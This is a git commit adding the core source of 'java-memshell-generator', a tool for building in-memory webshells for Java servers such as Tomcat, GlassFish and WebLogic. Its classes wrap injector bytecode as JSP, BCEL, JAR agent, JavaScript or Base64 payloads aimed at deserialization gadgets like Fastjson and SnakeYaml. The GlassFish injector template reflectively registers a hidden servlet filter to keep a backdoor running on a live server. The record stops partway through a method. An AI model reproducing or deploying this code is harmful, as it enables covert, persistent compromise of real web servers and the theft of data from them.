This commit is contained in:
pen4uin
2024-06-01 12:20:17 +08:00
parent 1e4291e965
commit b6e34b31e2
99 changed files with 11806 additions and 128 deletions
+26
View File
@@ -0,0 +1,26 @@
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<parent>
<artifactId>java-memshell-generator</artifactId>
<groupId>jmg</groupId>
<version>${revision}</version>
</parent>
<modelVersion>4.0.0</modelVersion>
<artifactId>jmg-core</artifactId>
<dependencies>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-web -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-web</artifactId>
<version>5.3.29</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.springframework/spring-webflux -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webflux</artifactId>
<version>5.3.29</version>
</dependency>
</dependencies>
</project>
@@ -0,0 +1,307 @@
package jmg.core.config;
import java.util.HashMap;
import java.util.Map;
public class AbstractConfig {
private String injectorClassName;
public String getInjectorClassName() {
return injectorClassName;
}
public void setInjectorClassName(String injectorClassName) {
this.injectorClassName = injectorClassName;
}
private boolean implementsASTTransformationType = false;
private boolean implementsScriptEngineFactory = false;
public void setImplementsASTTransformationType(boolean implementsASTTransformationType) {
this.implementsASTTransformationType = implementsASTTransformationType;
}
public void setImplementsScriptEngineFactory(boolean implementsScriptEngineFactory) {
this.implementsScriptEngineFactory = implementsScriptEngineFactory;
}
public boolean isImplementsASTTransformationType() {
return implementsASTTransformationType;
}
public boolean isImplementsScriptEngineFactory() {
return implementsScriptEngineFactory;
}
private String injectorSimpleClassName;
public String getInjectorSimpleClassName() {
return injectorSimpleClassName;
}
public void setInjectorSimpleClassName(String injectorSimpleClassName) {
this.injectorSimpleClassName = injectorSimpleClassName;
}
private byte[] injectorBytes;
public byte[] getInjectorBytes() {
return injectorBytes;
}
public void setInjectorBytes(byte[] injectorBytes) {
this.injectorBytes = injectorBytes;
}
private int injectorBytesLength;
public int getInjectorBytesLength() {
return injectorBytesLength;
}
public void setInjectorBytesLength(int injectorBytesLength) {
this.injectorBytesLength = injectorBytesLength;
}
private String shellClassName;
public String getShellClassName() {
return shellClassName;
}
public void setShellClassName(String className) {
this.shellClassName = className;
}
private String shellSimpleClassName;
public String getShellSimpleClassName() {
return shellSimpleClassName;
}
public void setShellSimpleClassName(String shellSimpleClassName) {
this.shellSimpleClassName = shellSimpleClassName;
}
private byte[] shellBytes;
public byte[] getShellBytes() {
return shellBytes;
}
public void setShellBytes(byte[] shellBytes) {
this.shellBytes = shellBytes;
}
private int shellBytesLength;
public int getShellBytesLength() {
return shellBytesLength;
}
public void setShellBytesLength(int shellBytesLength) {
this.shellBytesLength = shellBytesLength;
}
public String getShellGzipBase64String() {
return shellGzipBase64String;
}
public void setShellGzipBase64String(String shellGzipBase64String) {
this.shellGzipBase64String = shellGzipBase64String;
}
public String shellGzipBase64String;
public boolean isEnableDebug() {
return enableDebug;
}
public void setEnableDebug(boolean enableDebug) {
this.enableDebug = enableDebug;
}
private boolean enableDebug = false;
private String urlPattern;
private String outputFormat;
private String savePath;
private String pass;
private String key;
private String serverType;
private String shellType;
private String headerName;
private String headerValue;
private String methodBody;
private String gadgetType;
public String getUrlPattern() {
return urlPattern;
}
public void setUrlPattern(String urlPattern) {
this.urlPattern = urlPattern;
}
public String getOutputFormat() {
return outputFormat;
}
public void setOutputFormat(String outputFormat) {
this.outputFormat = outputFormat;
}
public String getSavePath() {
return savePath;
}
public void setSavePath(String savePath) {
this.savePath = savePath;
}
public String getPass() {
return pass;
}
public void setPass(String pass) {
this.pass = pass;
}
public String getKey() {
return key;
}
public void setKey(String key) {
this.key = key;
}
public String getServerType() {
return serverType;
}
public void setServerType(String serverType) {
this.serverType = serverType;
}
public String getShellType() {
return shellType;
}
public void setShellType(String shellType) {
this.shellType = shellType;
}
public String getToolType() {
return toolType;
}
public void setToolType(String toolType) {
this.toolType = toolType;
}
public String toolType;
public String getHeaderName() {
return headerName;
}
public void setHeaderName(String headerName) {
this.headerName = headerName;
}
public String getHeaderValue() {
return headerValue;
}
public void setHeaderValue(String headerValue) {
this.headerValue = headerValue;
}
public String getGadgetType() {
return gadgetType;
}
public void setGadgetType(String gadgetType) {
this.gadgetType = gadgetType;
}
public Map getMessage() {
return result;
}
public void setMessage(Map message) {
this.result = message;
}
private Map result = new HashMap();
public String getExprEncoder() {
return exprEncoder;
}
public void setExprEncoder(String exprEncoder) {
this.exprEncoder = exprEncoder;
}
private String exprEncoder;
public String getExtenderSimpleClassName() {
return extenderSimpleClassName;
}
private String extenderSimpleClassName;
public String getLoaderClassName() {
return loaderClassName;
}
public void setLoaderClassName(String loaderClassName) {
this.loaderClassName = loaderClassName;
}
public String loaderClassName;
private String classFilePath;
public String getClassFilePath() {
return classFilePath;
}
public void setClassFilePath(String classFilePath) {
this.classFilePath = classFilePath;
}
}
@@ -0,0 +1,64 @@
package jmg.core.config;
public class Constants {
public static final String JMG_VERSION = "1.0.8";
public static final String JMG_NAME = "java-memshell-generator";
public static final String JMG_DESCRIPTION = "Java 内存马生成器";
public static final String JMG_AUTHOR = "pen4uin";
public static final String SERVER_TOMCAT = "Tomcat";
public static final String SERVER_SPRING_MVC = "SpringMVC";
public static final String SERVER_SPRING_WEBFLUX = "SpringWebFlux";
public static final String SERVER_JETTY = "Jetty";
public static final String SERVER_RESIN = "Resin";
public static final String SERVER_WEBLOGIC = "Weblogic";
public static final String SERVER_WEBSPHERE = "Websphere";
public static final String SERVER_UNDERTOW = "Undertow";
public static final String SERVER_GLASSFISH = "Glassfish";
public static final String SERVER_JBOSS = "JBoss";
public static final String SHELL_LISTENER = "Listener";
public static final String SHELL_FILTER = "Filter";
public static final String SHELL_VALVE = "Valve";
public static final String SHELL_INTERCEPTOR = "Interceptor";
public static final String SHELL_WF_HANDLERMETHOD = "WFHandlerMethod";
public static final String SHELL_WS_ENDPOINT = "WSEndpoint";
public static final String FORMAT_CLASS = "CLASS";
public static final String FORMAT_BCEL = "BCEL";
public static final String FORMAT_JSP = "JSP";
public static final String FORMAT_JAR = "JAR";
public static final String FORMAT_JAR_AGENT = "JAR_AGENT";
public static final String FORMAT_JS = "JS";
public static final String FORMAT_BASE64 = "BASE64";
public static final String FORMAT_BIGINTEGER = "BIGINTEGER";
public static final String GADGET_FJ_GROOVY = "FastjsonGroovy";
public static final String GADGET_SNAKEYAML = "SnakeYaml";
public static final String GADGET_JDK_TRANSLET = "JDK_AbstractTranslet";
public static final String GADGET_XALAN_TRANSLET = "XALAN_AbstractTranslet";
public static final String TOOL_ANTSWORD = "AntSword";
public static final String TOOL_BEHINDER = "Behinder";
public static final String TOOL_GODZILLA = "Godzilla";
public static final String TOOL_CUSTOM = "Custom";
public static final String TOOL_NEOREGEORG = "NeoreGeorg";
public static final String TOOL_SUO5 = "Suo5";
public static final String EXPR_EL = "EL";
public static final String EXPR_SPEL = "SpEL";
public static final String EXPR_OGNL = "OGNL";
public static final String EXPR_FREEMARKER = "FreeMarker";
public static final String EXPR_VELOCITY = "Velocity";
public static final String EXPR_JS = "ScriptEngineManager(JS)";
}
+15
View File
@@ -0,0 +1,15 @@
package jmg.core.format;
import jmg.core.config.AbstractConfig;
import java.io.IOException;
import java.util.Base64;
public class BASE64Formater implements IFormater {
@Override
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
Base64.Encoder base64Encoder = Base64.getEncoder();
return new String(base64Encoder.encode(clazzbyte)).replace("\n", "").replace("\r", "").getBytes();
}
}
+16
View File
@@ -0,0 +1,16 @@
package jmg.core.format;
import jmg.core.config.AbstractConfig;
import me.gv7.woodpecker.bcel.HackBCELs;
import java.io.IOException;
public class BCELFormater implements IFormater {
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
// 解决 BCEL 的classloader 的问题
byte[] bcelClzBytes = BCELoaderGenerator.generatorBCELoaderClass(config);
return HackBCELs.encode(bcelClzBytes).getBytes();
}
}
@@ -0,0 +1,53 @@
package jmg.core.format;
import java.lang.reflect.Method;
public class BCELoader {
static {
new BCELoader();
}
private String getClassName() {
return "";
}
private String getBase64String() {
return "";
}
public BCELoader() {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try {
classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] clazzBytes = decodeFromBase64(getBase64String());
Class clazz = (Class) defineClass.invoke(classLoader, clazzBytes, 0, clazzBytes.length);
clazz.newInstance();
} catch (Exception ee) {
}
}
}
public static byte[] decodeFromBase64(String input) {
byte[] var2 = null;
Class var1;
try {
var1 = Class.forName("java.util.Base64");
Object var3 = var1.getMethod("getDecoder").invoke((Object) null, (Object[]) null);
var2 = (byte[]) ((byte[]) var3.getClass().getMethod("decode", String.class).invoke(var3, input));
} catch (Exception var6) {
try {
var1 = Class.forName("sun.misc.BASE64Decoder");
Object var4 = var1.newInstance();
var2 = (byte[]) ((byte[]) var4.getClass().getMethod("decodeBuffer", String.class).invoke(var4, input));
} catch (Exception var5) {
}
}
return var2;
}
}
@@ -0,0 +1,77 @@
package jmg.core.format;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import jmg.core.config.AbstractConfig;
import jmg.core.util.JavassistUtil;
public class BCELoaderGenerator {
public static byte[] generatorBCELoaderClass(AbstractConfig config) {
try {
ClassPool pool = ClassPool.getDefault();
ClassClassPath classPath = new ClassClassPath(BCELoader.class);
pool.insertClassPath(classPath);
CtClass ctClass = pool.getCtClass(BCELoader.class.getName());
ctClass.setName(config.getLoaderClassName());
ctClass.getClassFile().setVersionToJava5();
CtMethod getClassName = ctClass.getDeclaredMethod("getClassName");
getClassName.setBody(String.format("{return \"%s\";}", config.getInjectorClassName()));
CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String");
String base64ClassString = encodeToBase64(config.getInjectorBytes()).replace(System.lineSeparator(), "");
String[] parts = splitChunks(base64ClassString, 40000);
StringBuilder result = new StringBuilder();
for (int i = 0; i < parts.length; i++) {
if (i > 0) result.append("+");
result.append("new String(\"" + parts[i] + "\")");
}
getBase64String.setBody(String.format("{return %s;}", result));
ctClass.defrost();
JavassistUtil.removeSourceFileAttribute(ctClass);
byte[] bytes = ctClass.toBytecode();
ctClass.detach();
return bytes;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
private static String encodeToBase64(byte[] input) throws Exception {
String value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, input);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, input);
} catch (Exception var5) {
}
}
return value;
}
private static String[] splitChunks(String source, int CHUNK_SIZE) {
String[] ret = new String[(int) Math.ceil(source.length() / (double) CHUNK_SIZE)];
char[] payload = source.toCharArray();
int start = 0;
for (int i = 0; i < ret.length; i++) {
if (start + CHUNK_SIZE > payload.length) {
char[] b = new char[payload.length - start];
System.arraycopy(payload, start, b, 0, payload.length - start);
ret[i] = new String(b);
} else {
char[] b = new char[CHUNK_SIZE];
System.arraycopy(payload, start, b, 0, CHUNK_SIZE);
ret[i] = new String(b);
}
start += CHUNK_SIZE;
}
return ret;
}
}
@@ -0,0 +1,14 @@
package jmg.core.format;
import jmg.core.config.AbstractConfig;
import java.io.IOException;
import java.math.BigInteger;
public class BigIntegerFormater implements IFormater {
@Override
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
return new BigInteger(clazzbyte).toString(36).getBytes();
}
}
+10
View File
@@ -0,0 +1,10 @@
package jmg.core.format;
import jmg.core.config.AbstractConfig;
import java.io.IOException;
public interface IFormater {
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws Exception;
}
@@ -0,0 +1,98 @@
package jmg.core.format;
import javassist.ClassPool;
import javassist.CtClass;
import jmg.core.config.AbstractConfig;
import jmg.core.config.Constants;
import jmg.core.template.SpringMVCAgentTransformer;
import jmg.core.template.TomcatAgentTransformer;
import jmg.core.util.CommonUtil;
import jmg.core.util.JavassistUtil;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Enumeration;
import java.util.jar.JarEntry;
import java.util.jar.JarFile;
import java.util.jar.JarOutputStream;
import java.util.jar.Manifest;
public class JARAgentFormater implements IFormater {
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws Exception {
String className = TomcatAgentTransformer.class.getName();
String simpleName = TomcatAgentTransformer.class.getSimpleName();
if (config.getServerType().equals(Constants.SERVER_TOMCAT)){
className = TomcatAgentTransformer.class.getName();
simpleName = TomcatAgentTransformer.class.getSimpleName();
}
if (config.getServerType().equals(Constants.SERVER_SPRING_MVC)){
className = SpringMVCAgentTransformer.class.getName();
simpleName = SpringMVCAgentTransformer.class.getSimpleName();
}
String classFileName = simpleName.replace('.', '/') + ".class";
ClassPool pool = ClassPool.getDefault();
// Note: jar 包中的文件不能通过文件路径读取,需要通过流读取
// File jarFile = new File(JARAgentFormater.class.getClassLoader().getResource("jmg-agent.jar").getFile());
InputStream jarStream = JARAgentFormater.class.getClassLoader().getResourceAsStream("jmg-agent.jar");
File jarFile = File.createTempFile("jmg-agent", ".jar");
try (FileOutputStream out = new FileOutputStream(jarFile)) {
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = jarStream.read(buffer)) != -1) {
out.write(buffer, 0, bytesRead);
}
}
Manifest manifest = createManifest(simpleName);
File tempJarFile = File.createTempFile("tempJar", ".jar");
try (JarFile jar = new JarFile(jarFile);
JarOutputStream tempJar = new JarOutputStream(new FileOutputStream(tempJarFile), manifest)) {
copyJarEntries(jar, tempJar);
addModifiedClassToJar(pool, className, simpleName, classFileName, tempJar, config.getPass(),CommonUtil.encodeBase64(clazzbyte));
} catch (Exception e) {
e.printStackTrace();
}
return Files.readAllBytes(Paths.get(tempJarFile.getAbsolutePath()));
}
private Manifest createManifest(String simpleName) {
Manifest manifest = new Manifest();
manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
manifest.getMainAttributes().putValue("Agent-Class", simpleName);
manifest.getMainAttributes().putValue("Can-Redefine-Classes", "true");
manifest.getMainAttributes().putValue("Can-Retransform-Classes", "true");
manifest.getMainAttributes().putValue("Main-Class", simpleName);
return manifest;
}
private void copyJarEntries(JarFile jar, JarOutputStream tempJar) throws IOException {
Enumeration<JarEntry> jarEntries = jar.entries();
while (jarEntries.hasMoreElements()) {
JarEntry entry = jarEntries.nextElement();
try (InputStream entryInputStream = jar.getInputStream(entry)) {
tempJar.putNextEntry(entry);
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = entryInputStream.read(buffer)) != -1) {
tempJar.write(buffer, 0, bytesRead);
}
}
}
}
private void addModifiedClassToJar(ClassPool pool, String className, String simpleName, String classFileName, JarOutputStream tempJar,String injectFlag, String injectorCode) throws Exception {
CtClass ctClass = pool.get(className);
ctClass.getClassFile().setVersionToJava5();
ctClass.setName(simpleName);
JavassistUtil.addMethod(ctClass, "getInjectorCode", "return \"" + injectorCode + "\";");
tempJar.putNextEntry(new JarEntry(classFileName));
tempJar.write(ctClass.toBytecode());
ctClass.detach();
}
}
+47
View File
@@ -0,0 +1,47 @@
package jmg.core.format;
import jmg.core.config.AbstractConfig;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.jar.JarEntry;
import java.util.jar.JarOutputStream;
import java.util.jar.Manifest;
public class JARFormater implements IFormater {
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
String className = config.getInjectorClassName();
String jarEntryFileName = className.replace(".", "/") + ".class";
Manifest manifest = new Manifest();
manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
ByteArrayOutputStream out = new ByteArrayOutputStream();
try (JarOutputStream jarOutputStream = new JarOutputStream(out, manifest)) {
jarOutputStream.putNextEntry(new JarEntry(jarEntryFileName));
jarOutputStream.write(clazzbyte);
jarOutputStream.closeEntry();
// fastjson + groovy 的利用
if (config.isImplementsASTTransformationType()) {
String entryName = "META-INF/services/org.codehaus.groovy.transform.ASTTransformation";
JarEntry entry = new JarEntry(entryName);
jarOutputStream.putNextEntry(entry);
jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8));
jarOutputStream.closeEntry();
}
// snakeyaml + loadJar 的利用
if (config.isImplementsScriptEngineFactory()) {
String entryName = "META-INF/services/javax.script.ScriptEngineFactory";
JarEntry entry = new JarEntry(entryName);
jarOutputStream.putNextEntry(entry);
jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8));
jarOutputStream.closeEntry();
}
}
return out.toByteArray();
}
}
+35
View File
@@ -0,0 +1,35 @@
package jmg.core.format;
import jmg.core.config.AbstractConfig;
import me.gv7.woodpecker.tools.codec.BASE64Encoder;
import java.io.IOException;
public class JSPFormater implements IFormater {
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
String strJSP = "<%\n" +
" ClassLoader classLoader = Thread.currentThread().getContextClassLoader();\n" +
" try{\n" +
" classLoader.loadClass(\""+ config.getInjectorClassName()+"\").newInstance();\n" +
" }catch (Exception e){\n" +
" java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n" +
" defineClass.setAccessible(true);\n" +
" String bytecodeBase64 = \""+new BASE64Encoder().encode(clazzbyte).replace("\n", "").replace("\r", "") +"\";\n" +
" byte[] bytecode = null;\n" +
" try {\n" +
" Class base64Clz = classLoader.loadClass(\"java.util.Base64\");\n" +
" Class decoderClz = classLoader.loadClass(\"java.util.Base64$Decoder\");\n" +
" Object decoder = base64Clz.getMethod(\"getDecoder\").invoke(base64Clz);\n" +
" bytecode = (byte[]) decoderClz.getMethod(\"decode\", String.class).invoke(decoder, bytecodeBase64);\n" +
" } catch (ClassNotFoundException ee) {\n" +
" Class datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");\n" +
" bytecode = (byte[]) datatypeConverterClz.getMethod(\"parseBase64Binary\", String.class).invoke(datatypeConverterClz, bytecodeBase64);\n" +
" }\n" +
" Class clazz = (Class)defineClass.invoke(classLoader,bytecode,0,bytecode.length);\n" +
" clazz.newInstance();\n" +
" }\n" +
"%>";
return strJSP.getBytes();
}
}
@@ -0,0 +1,36 @@
package jmg.core.format;
import jmg.core.config.AbstractConfig;
import me.gv7.woodpecker.tools.codec.BASE64Encoder;
import java.io.IOException;
public class JavaScriptFormater implements IFormater {
public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
String strJS = "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" +
"try{\n" +
" classLoader.loadClass(\""+ config.getInjectorClassName() +"\").newInstance();\n" +
"}catch (e){\n" +
" var clsString = classLoader.loadClass('java.lang.String');\n" +
" var bytecodeBase64 = \""+ new BASE64Encoder().encode(clazzbyte).replace("\n", "").replace("\r", "") + "\";\n" +
" var bytecode;\n" +
" try{\n" +
" var clsBase64 = classLoader.loadClass(\"java.util.Base64\");\n" +
" var clsDecoder = classLoader.loadClass(\"java.util.Base64$Decoder\");\n" +
" var decoder = clsBase64.getMethod(\"getDecoder\").invoke(base64Clz);\n" +
" bytecode = clsDecoder.getMethod(\"decode\", clsString).invoke(decoder, bytecodeBase64);\n" +
" } catch (ee) {\n" +
" var datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");\n" +
" bytecode = datatypeConverterClz.getMethod(\"parseBase64Binary\", clsString).invoke(datatypeConverterClz, bytecodeBase64);\n" +
" }\n" +
" var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');\n" +
" var clsByteArray = classLoader.loadClass('[B');\n" +
" var clsInt = java.lang.Integer.TYPE;\n" +
" var defineClass = clsClassLoader.getDeclaredMethod(\"defineClass\", clsByteArray, clsInt, clsInt);\n" +
" defineClass.setAccessible(true);\n" +
" var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytecode,0,bytecode.length);\n" +
" clazz.newInstance();\n" +
"}";
return strJS.getBytes();
}
}
@@ -0,0 +1,14 @@
package jmg.core.generator;
import javassist.ClassPool;
import jmg.core.config.AbstractConfig;
public interface IShellGenerator {
ClassPool pool = ClassPool.getDefault();
void initShell(AbstractConfig config);
byte[] makeShell(AbstractConfig config) throws Exception;
byte[] modifyShell(String className, AbstractConfig config);
}
@@ -0,0 +1,95 @@
package jmg.core.generator;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import jmg.core.config.AbstractConfig;
import jmg.core.config.Constants;
import jmg.core.util.CommonUtil;
import jmg.core.util.CtClassUtil;
import jmg.core.util.InjectorUtil;
import jmg.core.util.JavassistUtil;
/**
* 注入器生成
*/
public class InjectorGenerator {
public byte[] makeInjector(AbstractConfig config) throws Exception {
String injectorName = InjectorUtil.getInjectorName(config.getServerType(), config.getShellType());
String injectorClassName = InjectorUtil.getInjectorClassName(injectorName);
byte[] bytes = UtilPlus.generate(injectorClassName, config);
config.setInjectorBytes(bytes);
config.setInjectorBytesLength(bytes.length);
return bytes;
}
public static class UtilPlus {
@SuppressWarnings("unchecked")
private final static ClassPool pool = ClassPool.getDefault();
public static byte[] generate(String injectorTplClassName, AbstractConfig config) throws Exception {
pool.insertClassPath(new ClassClassPath(InjectorGenerator.class));
CtClass ctClass = pool.getCtClass(injectorTplClassName);
ctClass.getClassFile().setVersionToJava5();
String base64ShellString = CommonUtil.encodeBase64(CommonUtil.gzipCompress(config.getShellBytes())).replace(System.lineSeparator(), "");
String urlPattern = config.getUrlPattern();
String shellClassName = config.getShellClassName();
if (base64ShellString != null) {
CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String");
String[] parts = splitChunks(base64ShellString.replace(System.lineSeparator(), ""), 40000);
StringBuilder result = new StringBuilder();
for (int i = 0; i < parts.length; i++) {
if (i > 0)
result.append("+");
result.append("new String(\"" + parts[i] + "\")");
}
getBase64String.setBody(String.format("{return %s;}", result));
}
if (config.getShellType().equalsIgnoreCase(Constants.SHELL_FILTER) || config.getShellType().equalsIgnoreCase(Constants.SHELL_WF_HANDLERMETHOD)) {
CtMethod getUrlPattern = ctClass.getDeclaredMethod("getUrlPattern");
getUrlPattern.setBody(String.format("{return \"%s\";}", urlPattern));
}
if (shellClassName != null) {
CtMethod getUrlPattern = ctClass.getDeclaredMethod("getClassName");
getUrlPattern.setBody(String.format("{return \"%s\";}", shellClassName));
}
JavassistUtil.setNameIfNotNull(ctClass, config.getInjectorClassName());
JavassistUtil.removeSourceFileAttribute(ctClass);
byte[] bytes = new CtClassUtil(config, pool, ctClass).modifyForExploitation();
ctClass.detach();
return bytes;
}
private static String[] splitChunks(String source, int CHUNK_SIZE) {
String[] ret = new String[(int) Math.ceil(source.length() / (double) CHUNK_SIZE)];
char[] payload = source.toCharArray();
int start = 0;
for (int i = 0; i < ret.length; i++) {
if (start + CHUNK_SIZE > payload.length) {
char[] b = new char[payload.length - start];
System.arraycopy(payload, start, b, 0, payload.length - start);
ret[i] = new String(b);
} else {
char[] b = new char[CHUNK_SIZE];
System.arraycopy(payload, start, b, 0, CHUNK_SIZE);
ret[i] = new String(b);
}
start += CHUNK_SIZE;
}
return ret;
}
}
}
@@ -0,0 +1,52 @@
package jmg.core;
import jmg.core.config.AbstractConfig;
import jmg.core.config.Constants;
import jmg.core.format.*;
public class jMGCodeApi {
AbstractConfig config;
public jMGCodeApi(AbstractConfig config) {
this.config = config;
}
public byte[] generate() throws Throwable {
byte[] clazzBytes;
clazzBytes = config.getInjectorBytes();
if (clazzBytes == null) {
return null;
}
// 格式转换
byte[] bytes = null;
switch (config.getOutputFormat()) {
case Constants.FORMAT_BCEL:
bytes = new BCELFormater().transform(clazzBytes, config);
break;
case Constants.FORMAT_JSP:
bytes = new JSPFormater().transform(clazzBytes, config);
break;
case Constants.FORMAT_JAR:
bytes = new JARFormater().transform(clazzBytes, config);
break;
case Constants.FORMAT_JAR_AGENT:
bytes = new JARAgentFormater().transform(clazzBytes, config);
break;
case Constants.FORMAT_JS:
bytes = new JavaScriptFormater().transform(clazzBytes, config);
break;
case Constants.FORMAT_BASE64:
bytes = new BASE64Formater().transform(clazzBytes, config);
break;
case Constants.FORMAT_BIGINTEGER:
bytes = new BigIntegerFormater().transform(clazzBytes, config);
break;
default:
bytes = clazzBytes;
break;
}
return bytes;
}
}
@@ -0,0 +1,208 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.zip.GZIPInputStream;
public class GlassFishFilterInjectorTpl {
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new GlassFishFilterInjectorTpl();
}
public GlassFishFilterInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getFilter(context);
addFilter(context, filter);
}
} catch (Exception ignored) {
}
}
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
List<Object> contexts = new ArrayList();
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
try {
for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) {
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
for (Object key : childrenMap.keySet()) {
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
for (Object key1 : children.keySet()) {
Object context = children.get(key1);
if (context != null) contexts.add(context);
}
}
}
}
} catch (Exception ignored) {
}
return contexts;
}
private Object getFilter(Object context) throws Exception {
Object filter = null;
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try {
filter = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
filter = clazz.newInstance();
} catch (Exception ignored) {
}
}
return filter;
}
public void addFilter(Object context, Object filter) throws Exception {
String filterName = getSimpleName(getClassName());
try {
Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass(), boolean.class}, new Object[]{filterMap, false});
Constructor<?>[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
constructors[0].setAccessible(true);
Object filterConfig = constructors[0].newInstance(context, filterDef);
HashMap<String, Object> filterConfigs = (HashMap<String, Object>) getFV(context, "filterConfigs");
filterConfigs.put(filterName, filterConfig);
} catch (Exception e) {
}
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static String getSimpleName(String className) {
int lastDotIndex = className.lastIndexOf(".");
if (lastDotIndex != -1 && lastDotIndex < className.length() - 1) {
return className.substring(lastDotIndex + 1);
}
return className;
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
